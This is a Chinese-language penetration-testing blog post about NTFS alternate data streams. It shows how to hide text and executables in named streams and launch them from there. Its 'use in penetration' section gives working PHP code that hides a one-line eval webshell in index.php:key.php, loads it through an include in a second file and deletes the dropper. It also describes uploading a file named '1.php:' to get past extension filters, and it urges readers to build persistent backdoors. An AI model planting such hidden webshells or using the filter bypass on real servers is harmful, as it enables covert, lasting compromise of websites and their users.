文件寄生——尋找宿主的不歸路(NTFS文件流實際應用)
好,又跟大家見面了,今天咱們來研究有意思的寄生蟲和宿主的故事。
NTFS文件系統實現了多文件流特性,NTFS環境一個文件默認使用的是未命名的文件流,同時可創建其他命名的文件流,windows資源管理器默認不顯示出文件的命名文件流,這些命名的文件流在功能上和默認使用的未命名文件流一致,甚至可以用來啟動程序。 NTFS文件流生成步驟:1. 我們在任意一個NTFS分區下打開CMD命令提示符,輸入echo mstlab>>mst.txt:test.txt,則在當前目錄下會生成一個名為mst.txt的文件,但文件的大小為0位元組,打開後也無任何內容。
只有輸入命令:notepad mst.txt:test.txt 才能看見寫入的mstlab 2. 在上邊的命令中,mst.txt可以不存在,也可以是某個已存的文件,文件格式無所謂,無論是.txt還是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及後綴名。(可以將任意文本信息隱藏於任意文件中,只要不泄露冒號後的虛擬文件名(即test.txt),別人是根本不會查看到隱藏信息的)。 3. 包含隱藏信息的文件仍然可以繼續隱藏其它的內容,對比上例,我們仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 給mst.txt建立新的隱藏信息的流文件,使用命令notepad mst.txt:test1.txt 打開後會發現mstlab1這段信息,而mstlab仍然存在於mst.txt:test.txt中絲毫不受影響。 所以這裡的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在這裡的微妙關係顯而易見,宿主消失寄生消失。NTFS特性和原理分析:
特性1:
實驗工具下載:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用說明: create 創建文件流 enum 列舉文件流 delete 刪除文件流 write 寫入內容到文件流 append 增加文件到文件流 launch 執行文件流的內容 dump 讀取文件流的內容我們讓上一步驟歸零,重新來看看mst.txt:
而這裡的default文件流就驗證了最開頭的一句話,默認使用的是為命名的文件流。實驗開始,首先我們使用FileStreams.exe創建一個文件流vkey:FileStreams.exe create mst.txt vkey
然後寫入內容到文件流vkey: FileStreams.exe write mst.txt vkey content再來查看文件流vkey的內容:
FileStreams.exe dump mst.txt vkey 14 這裡的14從何而來,相信聰明的你們能明白。(文件流vkey大小 14) 那麼最開始也說了,文件流是可以用來啟動程序的,我們來試試: 1. 加入文件到文件流vkey: FileStreams.exe append mst.txt vkey C:Usersgh0stkeyDesktop estFileStreams.exe 2. 查看文件流vkey的內容,這裡就看前100個位元組的內容: FileStreams.exe dump mst.txt vkey 100在沒有原文件的情況下創建文件流,會自動創建一個空文件。
原理分析: 好,現在我們以及初步了解了文件流的特性。再來看看NTFS文件流實現原理: 如文件大小,文件創建時間,文件修改時間,文件名,文件內容等被組織成屬性來存放,NTFS定義了一序列的文件屬性:滲透中的利用:
Webshell後門隱藏:<?php exec("echo "<?php @eval($_POST[key]);?>">>index.php:key.php"); $key = <<<key echo "<?php include "index.php:key.php";?>">>a.php key; exec($key); $url = $_SERVER["PHP_SELF"]; $filename= substr($url,strrpos($url,"/")+1); @unlink($filename); ?>
為什麼這樣寫?首先我們知道網站的默認首頁是index.php,所以我們使用了第一段代碼:
exec("echo "<?php @eval($_POST[key]);?>">>index.php:key.php");
$key = <<<key echo "<?php include "index.php:key.php";?>">>a.php key; exec($key);
$url = $_SERVER["PHP_SELF"]; $filename= substr($url,strrpos($url,"/")+1); @unlink($filename);
當然一些局限性的限制寄生蟲可以拿到主權:
利用下面的默認流替換特性上傳文件名為1.php:的文件,繞過後綴名限制即可。
當然你也可以做一個持續性webshell後門,然後使用include包含起來即可利用:
默認流替換: 默認流也就是宿主自身的,這裡完全可以吞噬宿主,成為宿主。 這個方法算是打破常規的認識了,很有意思。
如上圖,我們直接執行echo xxxx>>1.txt:
即可替換默認流: 當然如果宿主不存在,將會創建宿主並且吞噬宿主,從而成為宿主。 此方法筆者在一次局限性的命令執行中完美運用上了。總結
原文件=宿主,文件流=寄生蟲。各位朋友根據根據這篇文章的基礎繼續深入研究,把文件流應用於各種操作之中,造出"猥瑣"流。 研究來自:米斯特安全攻防實驗室 Www.Hi-OurLife.Com @ gh0stkey希望大家喜歡這個不是很乾的乾貨。么么扎。
aHR0cDovL3dlaXhpbi5xcS5jb20vZy9BWWpiLWo1ZG5VWnRKX1Uz (二維碼自動識別)
推薦閱讀: